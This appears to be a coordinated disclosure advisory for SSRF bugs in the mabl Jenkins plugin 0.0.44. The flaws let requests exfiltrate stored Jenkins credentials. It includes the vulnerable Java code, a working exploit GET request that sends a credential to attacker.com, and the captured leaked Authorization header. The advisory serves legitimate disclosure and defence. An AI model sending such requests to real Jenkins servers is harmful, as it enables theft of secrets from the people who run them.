Coordinated Disclosure Timeline

Summary

Several Server-Side Request Forgery (SSRF) vulnerabilities in jenkinsci/mabl-integration-plugin allow the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the apiBaseUrl parameter in the MablStepBuilder#doFillEnvironmentIdItems, MablStepBuilder#doFillApplicationIdItem and MablStepBuilder#doValidateForm. These methods use the ACL.System permission to access the credentials storage and can be abused to leak arbitrary secrets to attacker-controlled servers.

Product

mabl Jenkins plugin

Tested Version

0.0.44

Details

Arbitrary secret leakage via SSRF (GHSL-2023-065)

The MablStepBuilder#doFillEnvironmentIdItems, MablStepBuilder#doFillApplicationIdItem and MablStepBuilder#doValidateForm methods read a credential identified by the restApiKeyId query parameter and send it to the attacker-controlled server specified by the apiBaseUrl query parameter:

public ListBoxModel doFillEnvironmentIdItems(
  @QueryParameter String restApiKeyId,
  @QueryParameter boolean disableSslVerification,
  @QueryParameter String apiBaseUrl,
  @QueryParameter String appBaseUrl
        ) {
    if (StringUtils.isBlank(restApiKeyId)) {
        return getSelectValidApiKeyListBoxModel();
    }

    final Secret secretKey = getRestApiSecret(restApiKeyId);
    if (secretKey != null) {
        final MablRestApiClient client = createMablRestApiClient(
                secretKey, disableSslVerification, apiBaseUrl, appBaseUrl);
        return getEnvironmentIdItems(client);
    }
    return new ListBoxModel();
}

In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG credential to attacker.com the authenticated attacker would need to send the following request:

GET /jenkins/job/<JOB>/descriptorByName/com.mabl.integration.jenkins.MablStepBuilder/fillEnvironmentIdItems?restApiKeyId=FLAG&disableSslVerification=true&apiBaseUrl=https%3A%2F%2F.attacker.com&appBaseUrl=https%3A%2F%2Fattacker.com HTTP/1.1
Host: localhost:8080
Connection: close

Note that the attacker does NOT need to be authenticated but, if role-based authorization is in place, anonymous users may need to have Overall/Read permission.

The code responsible to read the arbitrary credentials is:

static Secret getRestApiSecret(final String restApiKeyId) {
    if (restApiKeyId == null) {
        return null;
    }

    Secret secretKey = null;
    List<StringCredentials> stringCredentials =
            CredentialsProvider.lookupCredentials(StringCredentials.class, (Item) null, ACL.SYSTEM, Collections.emptyList());
    for (StringCredentials cred : stringCredentials) {
        if (restApiKeyId.equals(cred.getId())) {
            secretKey = cred.getSecret();
            break;
        }
    }
    return secretKey;
}

As we can see in the code, regardless of the user privileges, the ACL.SYSTEM permission is used to load credentials.

Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following POST request:

GET /apiKeys/self HTTP/1.1
Authorization: Basic a2V5OkZMQUc=
Host: f2ihpzikyjzab3nkvq47th7wun0eohc6.oastify.com
Connection: Keep-Alive
User-Agent: mabl-jenkins-plugin/unknown (JVM: 11.0.16.1, Jenkins: 2.222.4)
Accept-Encoding: gzip,deflate

The credentials are leaked Base64-encoded in the Authorization header.

Because the endpoint accepts GET requests, an attacker could send a link to a victim with access to the Jenkins server to deliver the payload when the victim clicks on the link.

These vulnerabilities were found using CodeQL’s SSRF Java query.

Impact

This vulnerability can lead to sensitive secret credentials leak.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-065 in any communication regarding this issue.